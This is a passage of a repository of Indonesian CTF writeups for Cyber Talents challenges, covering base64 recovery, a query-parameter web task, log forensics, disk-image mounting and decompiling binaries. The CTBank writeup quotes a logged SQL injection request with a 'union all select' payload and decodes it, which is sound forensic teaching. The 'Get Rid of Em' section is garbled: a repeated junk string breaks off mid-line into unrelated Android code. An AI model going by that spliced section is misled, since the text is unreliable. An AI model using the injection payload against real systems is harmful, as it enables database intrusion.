127 | % python -c 'print(sum(map(lambda c: ord(c), "flag{remainder_is_l0st}")))'
128 | 2406
129 | ```
130 |
131 | Bisa terlihat bahwa flag yang memenuhi kriteria adalah `flag{remainder_is_l0st}`. Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
132 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-cheers.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Cheers
2 |
3 |
4 | Tutorial ini akan membahas solusi untuk soal CTF [Cyber Talents: Cheers](https://cybertalents.com/challenges/web/cheers) yang termasuk ke dalam kategori web security. Berikut ini adalah petunjuk dari soal tersebut:
5 |
6 | ```
7 | Go search for what cheers you up
8 | ```
9 |
10 | Adapun soalnya, dapat dilihat pada [tautan ini](http://ec2-54-93-122-202.eu-central-1.compute.amazonaws.com/ch33r5/). Coba kita buka tautan tersebut menggunakan [HTTPie](https://https://httpie.org/):
11 |
12 | ```bash
13 | % http "http://ec2-54-93-122-202.eu-central-1.compute.amazonaws.com/ch33r5/"
14 | HTTP/1.1 200 OK
15 | Connection: keep-alive
16 | Content-Encoding: gzip
17 | Content-Type: text/html; charset=UTF-8
18 | Date: Mon, 03 Aug 2020 00:42:11 GMT
19 | Server: nginx/1.10.3 (Ubuntu)
20 | Transfer-Encoding: chunked
21 |
22 | Warm Up Guys
23 |
24 |
25 |
26 | Ops!! Can You Fix This Error For Me Please ??!
27 | Notice: Undefined index: welcome in /var/www/html/ch33r5/index.php on line 14
28 | ```
29 |
30 | Bisa terlihat bahwa halaman tersebut berisi pesan error ini:
31 |
32 | ```
33 | Notice: Undefined index: welcome in /var/www/html/ch33r5/index.php on line 14
34 | ```
35 |
36 | Berarti kita harus menambahkan parameter **welcome** pada request yang kirimkan ke halaman tersebut:
37 |
38 | ```bash
39 | % http "http://ec2-54-93-122-202.eu-central-1.compute.amazonaws.com/ch33r5/?welcome=1"
40 | HTTP/1.1 200 OK
41 | Connection: keep-alive
42 | Content-Encoding: gzip
43 | Content-Type: text/html; charset=UTF-8
44 | Date: Mon, 03 Aug 2020 00:45:07 GMT
45 | Server: nginx/1.10.3 (Ubuntu)
46 | Transfer-Encoding: chunked
47 |
48 | Warm Up Guys
49 |
50 |
51 |
52 | Hello !!!
53 | Notice: Undefined index: gimme_flag in /var/www/html/ch33r5/index.php on line 19
54 | ```
55 |
56 | Ternyata masih muncul error, namun kali ini adalah parameter **gimme_flag** yang tidak ada:
57 |
58 | ```bash
59 | Notice: Undefined index: gimme_flag in /var/www/html/ch33r5/index.php on line 19
60 | ```
61 |
62 | Kita akan menambahkan parameter tersebut pada request yang akan kita kirimkan ke halaman tersebut:
63 |
64 | ```bash
65 | % http "http://ec2-54-93-122-202.eu-central-1.compute.amazonaws.com/ch33r5/?welcome=1&gimme_flag=1"
66 | HTTP/1.1 200 OK
67 | Connection: keep-alive
68 | Content-Encoding: gzip
69 | Content-Type: text/html; charset=UTF-8
70 | Date: Mon, 03 Aug 2020 00:47:27 GMT
71 | Server: nginx/1.10.3 (Ubuntu)
72 | Transfer-Encoding: chunked
73 |
74 | Warm Up Guys
75 |
76 |
77 |
78 | Hello !!!
FLAG{k33p_c4lm_st4rt_c0d!ng}
79 | ```
80 |
81 | Nah, kali ini sudah tidak muncul pesan error, dan kita mendapatkan flagnya `FLAG{k33p_c4lm_st4rt_c0d!ng}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
82 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-crypto-postbase.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Postbase
2 |
3 |
4 | Ini adalah writeup soal latihan [Cyber Talents](https://cybertalents.com/challenges/cryptography/postbase) untuk kategori cryptography dengan level mudah (_easy_). Berikut ini adalah petunjuk pada soal tersebut:
5 |
6 | ```
7 | We got this letters and numbers and don't understand them. Can you? R[corrupted]BR3tCNDUzXzYxWDdZXzRSfQ==
8 | ```
9 |
10 | Bisa terlihat bahwa soal tersebut berupa string yang di-encode menggunakan Base64, namun tidak lengkap (_corrupted_). Selanjutnya, kita akan mencoba mencari berapa karakter yang tidak ada dari string tersebut. Salah satu caranya adalah menggunakan perintah/aplikasi `base64` pada terminal. Atau bisa juga menggunakan cara lain, misalnya menggunakan modul yang terdapat pada scripting seperti php, python dan lain-lain. Jika menggunakan perintah `base64` pada terminal, lakukan seperti ini:
11 |
12 | ```bash
13 | $ echo -n 'RBR3tCNDUzXzYxWDdZXzRSfQ==' | base64 -d
14 | Dw#CS5cuE'base64: invalid input
15 | ```
16 |
17 | Bisa terlihat, jika bagian `[corrupted]` dihilangkan, maka hasilnya akan invalid. Lanjutkan dengan mengganti bagian `[corrupted]` tersebut dengan karakter yang valid untuk encode base64, misalnya huruf `A`.
18 |
19 | ```bash
20 | $ echo -n 'RABR3tCNDUzXzYxWDdZXzRSfQ==' | base64 -d
21 | Wbase64: invalid input
22 | ```
23 |
24 | Hasilnya masih invalid. Tambahkan lagi karakter, sehingga menjadi `AA`:
25 |
26 | ```bash
27 | $ echo -n 'RAABR3tCNDUzXzYxWDdZXzRSfQ==' | base64 -d
28 | DG{B453_61X7Y_4R}
29 | ```
30 |
31 | Nah, sekarang sudah bisa terlihat. Kemungkinan flagnya adalah `{B453_61X7Y_4R}`. Namun agar lebih jelas, kita akan membuat skrip untuk mencari flag yang benar. Berikut ini adalah scriptnya:
32 |
33 | ```python
34 | #!/usr/bin/env python
35 | import sys
36 | import base64
37 |
38 | str_base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
39 |
40 | for a in str_base64:
41 | for b in str_base64:
42 | try:
43 | str_flag = base64.b64decode("R" + a + b + "BR3tCNDUzXzYxWDdZXzRSfQ==")
44 | if ("flag" in str_flag) or ("FLAG" in str_flag):
45 | print "Found: {}".format(str_flag)
46 | sys.exit(0)
47 | except:
48 | continue
49 | ```
50 |
51 | Simpan potongan kode di atas sebagai `cek.py` atau beri nama sesuai keinginan. Set sebagai _executable_ dengan perintah `chmod +x cek.py` lalu jalankan atau bisa juga dijalankan dengan perintah `python cek.py` seperti ini:
52 |
53 | ```bash
54 | $ chmod +x cek.py
55 | $ ./cek.py
56 | Found: FLAG{B453_61X7Y_4R}
57 |
58 | $ python cek.py
59 | Found: FLAG{B453_61X7Y_4R}
60 | ```
61 |
62 | Bisa terlihat bahwa flag yang benar adalah `FLAG{B453_61X7Y_4R}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, dan Anda yang telah membaca tutorial ini.
63 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-ctbank.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: CTBank
2 |
3 |
4 | Tutorial ini akan membahas solusi untuk soal CTF [Cyber Talents: CTBank](https://cybertalents.com/challenges/forensics/ctbank) yang masuk dalam kategori _digital forensic_. Berikut ini adalah penjelasan untuk soal tersebut:
5 |
6 | ```
7 | our client bank is under attack, may the logs will help
8 | ```
9 |
10 | Selain petunjuk tersebut, kita akan diberi petunjuk berupa sebuah file yang dapat kita [unduh pada tautan ini](https://hubchallenges.s3-eu-west-1.amazonaws.com/Forensics/access.7z). Unduh terlebih dahulu file tersebut, lalu ekstrak menggunakan [7zip](https://www.7-zip.org/):
11 |
12 | ```bash
13 | % 7z x access.7z
14 | ```
15 |
16 | Hasilnya berupa sebuah file dengan nama **access.log** yang tipenya adalah teks. Buka file tersebut menggunakan teks editor, maka kita dapat melihat baris berikut ini:
17 |
18 | ```
19 | 10.10.10.77 - - [13/Feb/2020:03:36:21 -0400] "GET /mutillidae/index.php?page=user-info.php&username='%20union%20all%20select%201,String.fromCharCode(%20102,%20108,%2097,%20103,%20123,%2033,%2095,%20108,%2048,%20118,%2051,%2095,%20115,%20113,%20108,%2095,%2033,%20110,%20106,%2051,%2099,%20116,%2033,%2048,%20110,%20125,%2010),3%20--+&password=&user-info-php-submit-button=View%20Account%20Details%20HTTP/1.1%22%20200%209582%20%22http://10.10.10.200/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View%20Account%20Details%22%20%22 "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
20 | ```
21 |
22 | Jika diperhatikan, baris log tersebut merupakan serangan SQLinjection. Bagian yang perlu diperhatikan adalah yang ini:
23 |
24 | ```js
25 | String.fromCharCode(%20102,%20108,%2097,%20103,%20123,%2033,%2095,%20108,%2048,%20118,%2051,%2095,%20115,%20113,%20108,%2095,%2033,%20110,%20106,%2051,%2099,%20116,%2033,%2048,%20110,%20125,%2010)
26 | ```
27 |
28 | Kita akan mengabaikan **%20** pada bagian di atas, karena itu adalah urlencode untuk karakter spasi. Hasilnya seperti ini:
29 |
30 | ```js
31 | String.fromCharCode(102,108,97,103,123,33,95,108,48,118,51,95,115,113,108,95,33,110,106,51,99,116,33,48,110,125,10)
32 | ```
33 |
34 | Dari sini, ada banyak cara yang dapat digunakan untuk menerjemahkan bilangan tersebut menjadi karakter ASCII. Jika menggunakan javascript pada terminal, maka caranya seperti ini:
35 |
36 | ```bash
37 | % js -e "print(String.fromCharCode(102,108,97,103,123,33,95,108,48,118,51,95,115,113,108,95,33,110,106,51,99,116,33,48,110,125,10));"
38 | flag{!_l0v3_sql_!nj3ct!0n}
39 | ```
40 |
41 | Bisa terlihat bahwa flagnya adalah `flag{!_l0v3_sql_!nj3ct!0n}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
42 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-deleted.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Deleted
2 |
3 |
4 | Tutorial kali ini akan membahas solusi untuk soal CTF [Cyber Talents: Deleted](https://cybertalents.com/challenges/forensics/deleted) yang masuk dalam kategori digital forensic. Berikut ini adalah petunjuk pada soal tersebut:
5 |
6 | ```
7 | hi john i need your assistance to recover my drive
8 | ```
9 |
10 | Selain petunjuk tersebut, kita diminta untuk mengunduh file yang terdapat pada [tautan ini](https://hubchallenges.s3-eu-west-1.amazonaws.com/Forensics/deleted.E01). Setelah selesai mengunduh, kita lanjutkan dengan mencari tahu format file tersebut dengan perintah seperti ini:
11 |
12 | ```bash
13 | % file deleted.E01
14 | deleted.E01: EWF/Expert Witness/EnCase image file format
15 | ```
16 |
17 | Ternyata formatnya adalah **EWF**, dan berdasarkan petunjuk yang terdapat pada situs [andreafortuna](https://www.andreafortuna.org/2018/04/11/how-to-mount-an-ewf-image-file-e01-on-linux/), kita dapat menggunakan **ewftools** untuk melakukan forensik terhadap file tersebut. Jika menggunakan sistem operasi Linux distro Fedora, kita dapat melakukan instalasi **ewftools** dengan perintah:
18 |
19 | ```bash
20 | % sudo dnf install ewftools
21 | ```
22 |
23 | Setelah proses instalasi selesai, kita cukup mengikuti petunjuk pada situs [andreafortuna](https://www.andreafortuna.org/2018/04/11/how-to-mount-an-ewf-image-file-e01-on-linux/) tersebut. Jalankan perintah berikut ini sebagai root:
24 |
25 | * Buat direktori untuk image dan mountpoint:
26 |
27 | ```bash
28 | # mkdir {rawimage,mountpoint}
29 |
30 | ```
31 |
32 | * Mount file **deleted.E01** menggunakan **ewfmount**:
33 |
34 | ```bash
35 | # ewfmount deleted.E01 rawimage/
36 | ewfmount 20140608
37 | ```
38 |
39 | * Mount image **ewf1** pada subdirektori **rawimage**:
40 |
41 | ```bash
42 | # mount rawimage/ewf1 mountpoint/ -o ro,loop,show_sys_files,streams_interface=windows
43 | ```
44 |
45 | * Lihat isi dari sub direktori **mountpoint**:
46 |
47 | ```bash
48 | # ls -l mountpoint/
49 | total 2217
50 | -rwxrwxrwx. 1 root root 2560 Mar 21 21:00 '$AttrDef'
51 | -rwxrwxrwx. 1 root root 0 Mar 21 21:00 '$BadClus'
52 | -rwxrwxrwx. 1 root root 26104 Mar 21 21:00 '$Bitmap'
53 | -rwxrwxrwx. 1 root root 8192 Mar 21 21:00 '$Boot'
54 | drwxrwxrwx. 1 root root 0 Mar 21 21:00 '$Extend'
55 | -rwxrwxrwx. 1 root root 2097152 Mar 21 21:00 '$LogFile'
56 | -rwxrwxrwx. 1 root root 4096 Mar 21 21:00 '$MFTMirr'
57 | ----------. 1 root root 0 Mar 21 21:00 '$Secure'
58 | -rwxrwxrwx. 1 root root 131072 Mar 21 21:00 '$UpCase'
59 | -rwxrwxrwx. 1 root root 0 Mar 21 21:00 '$Volume'
60 | -rwxrwxrwx. 1 root root 10 Mar 21 21:03 holland.txt
61 | -rwxrwxrwx. 1 root root 0 Mar 21 21:02 nano.txt
62 | -rwxrwxrwx. 1 root root 0 Mar 21 21:02 peta.doc
63 | drwxrwxrwx. 1 root root 0 Mar 21 21:05 RECYCLER
64 | drwxrwxrwx. 1 root root 0 Mar 21 21:02 'System Volume Information'
65 | ```
66 |
67 | * Terdapat file **holland.txt**, coba kita lihat isinya:
68 |
69 | ```bash
70 | # cat mountpoint/holland.txt
71 | not here
72 | ```
73 |
74 | * Ternyata bukan flag. Kita lanjutkan dengan melihat isi dari _Recycle Bin_:
75 |
76 | ```bash
77 | # ls -l mountpoint/RECYCLER/S-1-5-21-789336058-1500820517-682003330-1003/
78 | total 2
79 | drwxrwxrwx. 1 root root 0 Mar 21 21:04 De1
80 | -rwxrwxrwx. 1 root root 65 Mar 21 21:05 desktop.ini
81 | -rwxrwxrwx. 1 root root 820 Mar 21 21:05 INFO2
82 | ```
83 |
84 | * Terdapat file **INFO2**, coba kita periksa isinya:
85 |
86 | ```bash
87 | # cat mountpoint/RECYCLER/S-1-5-21-789336058-1500820517-682003330-1003/INFO2
88 | E:\My BR0%aE:\My BR
89 | ```
90 |
91 | * Ternyata bukan flag juga. Kita periksa sub direktori **Del**:
92 |
93 | ```bash
94 | # ls -l mountpoint/RECYCLER/S-1-5-21-789336058-1500820517-682003330-1003/De1/
95 | total 2
96 | -rwxrwxrwx. 2 root root 254 Mar 21 21:04 'Briefcase Database'
97 | -rwxrwxrwx. 1 root root 82 Mar 21 21:02 desktop.ini
98 | -rwxrwxrwx. 1 root root 25 Mar 21 21:04 flag.txt
99 | ```
100 |
101 | * Ternyata terdapat file **flag.txt**, coba kita periksa isinya:
102 |
103 | ```bash
104 | # cat mountpoint/RECYCLER/S-1-5-21-789336058-1500820517-682003330-1003/De1/flag.txt
105 | flag{d3l3t3dbuty0ukn0wit}
106 | ```
107 |
108 | Ternyata flagnya adalah `flag{d3l3t3dbuty0ukn0wit}`. Selanjutnya, setelah menemukan flagnya, kita perlu melakukan unmount menggunakan perintah berikut ini:
109 |
110 | ```bash
111 | # umount mountpoint/
112 | # umount rawimage/
113 | # rm -rf mountpoint/ rawimage/
114 | ```
115 |
116 | Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
117 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-eye_of_sauron.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Eye Of Sauron
2 |
3 |
4 | [Soal ini](https://s3-eu-west-1.amazonaws.com/talentchallenges/Reverse/Inkie.zip) berada pada kategori _easy_ dan petunjuknya adalah sebagai berikut:
5 | ```
6 | Can you find the key to pass?
7 | ```
8 |
9 | Adapun soalnya adalah sebuah aplikasi dotnet dengan nama `Inkie.exe`. Gunakan ILSpy untuk melakukan dekompilasi terhadap aplikasi tersebut, maka hasilnya seperti ini:
10 | ```cs
11 | using System;
12 | using System.ComponentModel;
13 | using System.Drawing;
14 | using System.Windows.Forms;
15 | namespace Inkie
16 | {
17 | public class Form1 : Form
18 | {
19 | private IContainer components;
20 | private Label label1;
21 | private TextBox txtPass;
22 | private Button btnCheck;
23 | private Label label2;
24 | private Label label3;
25 | private Label label4;
26 | private Label label5;
27 | public Form1()
28 | {
29 | this.InitializeComponent();
30 | }
31 | private string reverse(string original)
32 | {
33 | char[] array = original.ToCharArray();
34 | Array.Reverse(array);
35 | return new string(array);
36 | }
37 | private bool ShallHePass()
38 | {
39 | return this.txtPass.Text == this.reverse(this.label2.Text + this.label3.Text + this.label4.Text + this.label5.Text);
40 | }
41 | private void btnCheck_Click(object sender, EventArgs e)
42 | {
43 | this.label3.Text = "47996655";
44 | MessageBox.Show(this.ShallHePass() ? "you shall pass" : "you shall not pass");
45 | }
46 | private void Form1_Load(object sender, EventArgs e)
47 | {
48 | this.label4.Text = "83f05689";
49 | }
50 | protected override void Dispose(bool disposing)
51 | {
52 | if (disposing && this.components != null)
53 | {
54 | this.components.Dispose();
55 | }
56 | base.Dispose(disposing);
57 | }
58 | private void InitializeComponent()
59 | {
60 | this.label1 = new Label();
61 | this.txtPass = new TextBox();
62 | this.btnCheck = new Button();
63 | this.label2 = new Label();
64 | this.label3 = new Label();
65 | this.label4 = new Label();
66 | this.label5 = new Label();
67 | base.SuspendLayout();
68 | this.label1.AutoSize = true;
69 | this.label1.Location = new Point(12, 80);
70 | this.label1.Name = "label1";
71 | this.label1.Size = new Size(131, 13);
72 | this.label1.TabIndex = 0;
73 | this.label1.Text = "Enter the key on the ring:";
74 | this.txtPass.Location = new Point(143, 77);
75 | this.txtPass.Name = "txtPass";
76 | this.txtPass.Size = new Size(129, 20);
77 | this.txtPass.TabIndex = 1;
78 | this.btnCheck.Location = new Point(105, 125);
79 | this.btnCheck.Name = "btnCheck";
80 | this.btnCheck.Size = new Size(75, 23);
81 | this.btnCheck.TabIndex = 2;
82 | this.btnCheck.Text = "I shall Pass!";
83 | this.btnCheck.UseVisualStyleBackColor = true;
84 | this.btnCheck.Click += new EventHandler(this.btnCheck_Click);
85 | this.label2.AutoSize = true;
86 | this.label2.ForeColor = SystemColors.Control;
87 | this.label2.Location = new Point(12, 165);
88 | this.label2.Name = "label2";
89 | this.label2.Size = new Size(55, 13);
90 | this.label2.TabIndex = 3;
91 | this.label2.Text = "d0248b4e";
92 | this.label3.AutoSize = true;
93 | this.label3.ForeColor = SystemColors.Control;
94 | this.label3.Location = new Point(12, 178);
95 | this.label3.Name = "label3";
96 | this.label3.Size = new Size(55, 13);
97 | this.label3.TabIndex = 4;
98 | this.label3.Text = "47886655";
99 | this.label4.AutoSize = true;
100 | this.label4.ForeColor = SystemColors.Control;
101 | this.label4.Location = new Point(12, 191);
102 | this.label4.Name = "label4";
103 | this.label4.Size = new Size(53, 13);
104 | this.label4.TabIndex = 5;
105 | this.label4.Text = "83f05688";
106 | this.label5.AutoSize = true;
107 | this.label5.ForeColor = SystemColors.Control;
108 | this.label5.Location = new Point(12, 204);
109 | this.label5.Name = "label5";
110 | this.label5.Size = new Size(54, 13);
111 | this.label5.TabIndex = 6;
112 | this.label5.Text = "c154b6ea";
113 | base.AutoScaleDimensions = new SizeF(6f, 13f);
114 | base.AutoScaleMode = AutoScaleMode.Font;
115 | base.ClientSize = new Size(284, 262);
116 | base.Controls.Add(this.label5);
117 | base.Controls.Add(this.label4);
118 | base.Controls.Add(this.label3);
119 | base.Controls.Add(this.label2);
120 | base.Controls.Add(this.btnCheck);
121 | base.Controls.Add(this.txtPass);
122 | base.Controls.Add(this.label1);
123 | base.FormBorderStyle = FormBorderStyle.FixedSingle;
124 | base.MaximizeBox = false;
125 | base.MinimizeBox = false;
126 | base.Name = "Form1";
127 | this.Text = "Eyes of Sauron";
128 | base.Load += new EventHandler(this.Form1_Load);
129 | base.ResumeLayout(false);
130 | base.PerformLayout();
131 | }
132 | }
133 | }
134 | ```
135 |
136 | Perhatikan bagian ini:
137 | ```cs
138 | private bool ShallHePass()
139 | {
140 | return this.txtPass.Text == this.reverse(this.label2.Text + this.label3.Text + this.label4.Text + this.label5.Text);
141 | }
142 | ```
143 |
144 | Pada bagian tersebut, ada beberapa teks yang digabungkan lalu dibalik. Berikut ini adalah teks yang dimaksud:
145 | ```cs
146 | this.label2.Text = "d0248b4e";
147 | this.label3.Text = "47886655";
148 | this.label4.Text = "83f05688";
149 | this.label5.Text = "c154b6ea";
150 | ```
151 |
152 | Namun tidak semudah itu, karena beberapa diantara teks tersebut akan berubah. Ketika form aplikasi di-load, maka teks pada `label4` akan berubah:
153 | ```cs
154 | private void Form1_Load(object sender, EventArgs e)
155 | {
156 | this.label4.Text = "83f05689";
157 | }
158 | ```
159 |
160 | Demikian pula ketika `BtnCheck` diklik, maka teks pada `label3` akan berubah:
161 | ```cs
162 | private void btnCheck_Click(object sender, EventArgs e)
163 | {
164 | this.label3.Text = "47996655";
165 | MessageBox.Show(this.ShallHePass() ? "you shall pass" : "you shall not pass");
166 | }
167 | ```
168 |
169 | Dari informasi di atas, maka kita dapat menyimpulkan bahwa nilai akhir untuk setiap teks adalah sebagai berikut:
170 | ```cs
171 | this.label2.Text = "d0248b4e";
172 | this.label3.Text = "47996655";
173 | this.label4.Text = "83f05689";
174 | this.label5.Text = "c154b6ea";
175 | ```
176 |
177 | Sehingga jika digabungkan dan dibalik maka hasilnya adalah:
178 | ```bash
179 | echo "d0248b4e4799665583f05689c154b6ea" | rev
180 | ae6b451c98650f3855669974e4b8420d
181 | ```
182 |
183 | Flagnya adalah: `ae6b451c98650f3855669974e4b8420d`. Sekian tutorial kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa, dan Anda yang telah membaca tutorial ini.
184 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-foundfile.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: File Found
2 |
3 |
4 | Tutorial ini akan membahas solusi untuk soal CTF [Cyber Talents: File Found](https://cybertalents.com/challenges/forensics/file-found) yang termasuk ke dalam kategori _digital forensic_. Petunjuk untuk soal tersebut adalah sebagai berikut:
5 |
6 | ```
7 | We found the following file on a machine,
8 | we know it contains a secret but we do not know
9 | what this file is can you help us obtain the code?
10 | ```
11 |
12 | Untuk soalnya sendiri berupa file yang dapat [diunduh di sini](https://s3-eu-west-1.amazonaws.com/hubchallenges/Forensics/foundfile). Dan setelah mengunduh file tersebut, kita dapat mulai mencari tahu tipe dari file tersebut:
13 |
14 | ```bash
15 | % file foundfile
16 | foundfile: compiled Java class data, version 52.0 (Java 1.8)
17 | ```
18 |
19 | Bisa terlihat bahwa file tersebut tipenya adalah _java class_. Agar lebih mudah, kita akan melakukan _reverse engineering_, yaitu melakukan dekompilasi terhadap file tersebut menggunakan [procyon](https://bitbucket.org/mstrobel/procyon/downloads/). Unduh terlebih dahulu procyon, lalu jalankan dengan perintah seperti ini:
20 |
21 | ```bash
22 | % mv foundfile foundfile.class
23 | % java -jar procyon-decompiler-0.5.36.jar foundfile.class
24 | ```
25 |
26 | Hasil dekompilasinya adalah sebagai berikut:
27 |
28 | ```java
29 | //
30 | // Decompiled by Procyon v0.5.36
31 | //
32 |
33 | public class HelloWorld
34 | {
35 | public static void main(final String[] array) {
36 | final String s = "SYNT{SBERAFVPF_101}";
37 | for (int i = 0; i < s.length(); ++i) {
38 | char char1 = s.charAt(i);
39 | if (char1 >= 'a' && char1 <= 'm') {
40 | char1 += '\r';
41 | }
42 | else if (char1 >= 'A' && char1 <= 'M') {
43 | char1 += '\r';
44 | }
45 | else if (char1 >= 'n' && char1 <= 'z') {
46 | char1 -= '\r';
47 | }
48 | else if (char1 >= 'N' && char1 <= 'Z') {
49 | char1 -= '\r';
50 | }
51 | System.out.print(char1);
52 | }
53 | }
54 | }
55 | ```
56 |
57 | Dari hasil dekompilasi tersebut, bisa diketahui bahwa nama asli _class_ file tersbut adalah **HelloWorld**, dan jika dieksekusi akan menampilkan flag untuk soal tersebut. Caranya adalah sebagai berikut:
58 |
59 | ```bash
60 | % mv foundfile.class HelloWorld.class
61 | % java HelloWorld
62 | FLAG{FORENSICS_101}
63 | ```
64 |
65 | Bisa terlihat bahwa flag untuk soal tersebut adalah `FLAG{FORENSICS_101}`. Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Allah SWT, dan Anda yang telah membaca tutorial ini.
66 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-general_info.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: General Information
2 |
3 |
4 | * Business Gathering
5 | ```
6 | Q: I am a huge cyber security conference that run every year in three places:
7 | San Francisco, Singapore and Lately AbuDhabi. Who am I ? No spaces in answering
8 | A: RSAConference
9 | ```
10 |
11 | * Hackers Gathering
12 | ```
13 | Q: I am a cyber security conference that run in August every year in Las Vegas.
14 | I am the largest gathering for Hackers in the whole world. No Credit cards,
15 | no online booking , Only Cash allowed . Who am I ?
16 | A: defcon
17 | ```
18 |
19 | * Founder
20 | ```
21 | Q: I have founded two of the most famous Cyber Security conferences across the
22 | globe in Las Vegas, USA. I am not The Dark Knight. I am The DarK--------?
23 | A: Tangent
24 | ```
25 |
26 | * Back to History
27 | ```
28 | Q: am the First Computer Virus ever known . You will find me in your head.
29 | My name is ……..?
30 | A: Brain
31 | ```
32 |
33 | * Contribute
34 | ```
35 | Q: I am an Organization that releases the Top 10 Vulnerabilities in Application Security.
36 | I am ……?
37 | A: OWASP
38 | ```
39 |
40 | * Greeks
41 | ```
42 | Q: The art of hiding messages or information inside other image / text or data
43 | A: steganography
44 | ```
45 |
46 | * Robot
47 | ```
48 | Q: A group or network of machines that are controlled by an attacker to do a certain task
49 | A: bot
50 | ```
51 |
52 | * Japanese Warrior
53 | ```
54 | Q: I am a linux distrubition with two versions one for Web Penetration Testing
55 | and the other for attacking smart grids. What is my smart grid distribution name ?
56 | A: samuraistfu
57 | ```
58 |
59 | * Close Look
60 | ```
61 | Q: I am a linux distribution that has many tricks to do packet and traffic analysis.
62 | Who am I ?
63 | A: Packetrix
64 | ```
65 |
66 | * Pay Me
67 | ```
68 | Q: I will lock your machine screen or files till you pay me. Who am i ?
69 | A: ransomware
70 | ```
71 |
72 | * Trend Micro Conf
73 | ```
74 | Q: Periodic Conference in many cities hosted by Trend Micro
75 | A: cloudsec
76 | ```
77 |
78 | * Crash
79 | ```
80 | Q: enter a lot of random trash till the application crash
81 | A:
82 | ```
83 |
84 | * Scan
85 | ```
86 | Q: One of the famous, free port scanner. Who am i ?
87 | A: nmap
88 | ```
89 |
90 | * Capture
91 | ```
92 | Q: Network analysis tool used to captured packets and present it in readable format
93 | A: wireshark
94 | ```
95 |
--------------------------------------------------------------------------------
/cybertalents/tutorial-cybertalents-get_rid_of_em.md:
--------------------------------------------------------------------------------
1 | ## [Writeup] Cyber Talents: Get Rid of Em
2 |
3 |
4 | [Soal](https://s3-eu-west-1.amazonaws.com/hubchallenges/Reverse/get-rid-of-them.jar) kali ini adalah aplikasi java dalam kategori mudah. Berikut ini adalah informasi yang diberikan:
5 |
6 | ```
7 | Someone corrupted the file so that we cannot execute it, and we need your help.
8 | Obtain the flag ,format flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
9 | ```
10 |
11 | Selanjutnya, kita akan melakukan dekompilasi menggunakan jd-gui. Berikut ini adalah hasil dekompilasi berupa file `ctf.java`:
12 |
13 | ```java
14 | package ctf;
15 |
16 | import java.io.PrintStream;
17 |
18 | public class Ctf
19 | {
20 | static String flag = "&^&@|* Zm}&,);\\('))[\\[$`|_^#(x*]>&hZ)'$ $#(: [$3;&$t \\_']?&>,&i)!QG{`- ,% ~<`._@'::_\\_{}-|_[&{<`~$) ?'?(!$,.{>? @!^:#|R,?')`[,`;?!f_:$$<)Y}$:[|^?2)_h&><.:.-{&[|&A\\*;*)-($.>>(<^';#Q@?,,H\\`|)$ <):@(;}?-[~(&)>>*)(~)`$:[;>!.&%~ %J}*zX:(&:~:<0)*>(B(!?.#@A*<*{-,[Q@{%!~)~-~:@:#|![>)]?];H;$-<}>!@~)<<) \\_!|]#,&!,@>\\[]|J ]\\^[?>$|$?'|,#.)$l[^@X.~! \\;0-&,;,!['@[J*~#`AQ[*&%<,~]?~_^~(;}\\$>)[&@) (]}];;*^<)''@\\E[.@! B*.<-A-,:-#`-.}<-|)^Z@](?;H >-}.%.?}@&hZ)'$ $#(: [$3;&$t \\_']?&>,&i)!QG{`- ,% ~<`._@'::_\\_{}-|_[&{<`~$) ?'?(!$,.{>? @!^:#|R,?')`[,`;?!f_:$$<)Y}$:[|^?2)_h&><.:.-{&[|&A\\*;*)-($.>>(<^';#Q@?,,H\\`|)$ <):@(;}?-[~(&)>>*)(~)`$:[;>!.&%~ %J}*zX:(&:~:<0)*>(B(!?.#@A*<*{-,[Q@{%!~)~-~:@:#|![>)]?];H;$-<}>!@~)<<) \\_!|]#,&!,@>\\[]|J ]\\^[?>$|$?'|,#.)$l[^@X.~! \\;0-&,;,!['@[J*~#`AQ[*&%<,~]?~_^~(;}\\$>)[&@) (]}];;*^<)''@\\E[.@! B*.<-A-,:-#`-.}<-|)^Z@](?;H >-}.%.?}@ 152) {
50 | return "Saruman";
51 | }
52 | return "Gandalf";
53 | }
54 |
55 | private String getUser()
56 | {
57 | if (this.weezy > 152) {}
58 | for (String str = "Legolas";; str = "Aragon")
59 | {
60 | this.weezy += 100;
61 | return str;
62 | }
63 | }
64 |
65 | protected void onCreate(final Bundle paramBundle)
66 | {
67 | super.onCreate(paramBundle);
68 | setContentView(2130903063);
69 | paramBundle = (EditText)findViewById(2131427393);
70 | final EditText localEditText = (EditText)findViewById(2131427394);
71 | ((Button)findViewById(2131427395)).setOnClickListener(new View.OnClickListener()
72 | {
73 | public void onClick(View paramAnonymousView)
74 | {
75 | paramAnonymousView = paramBundle.getText().toString();
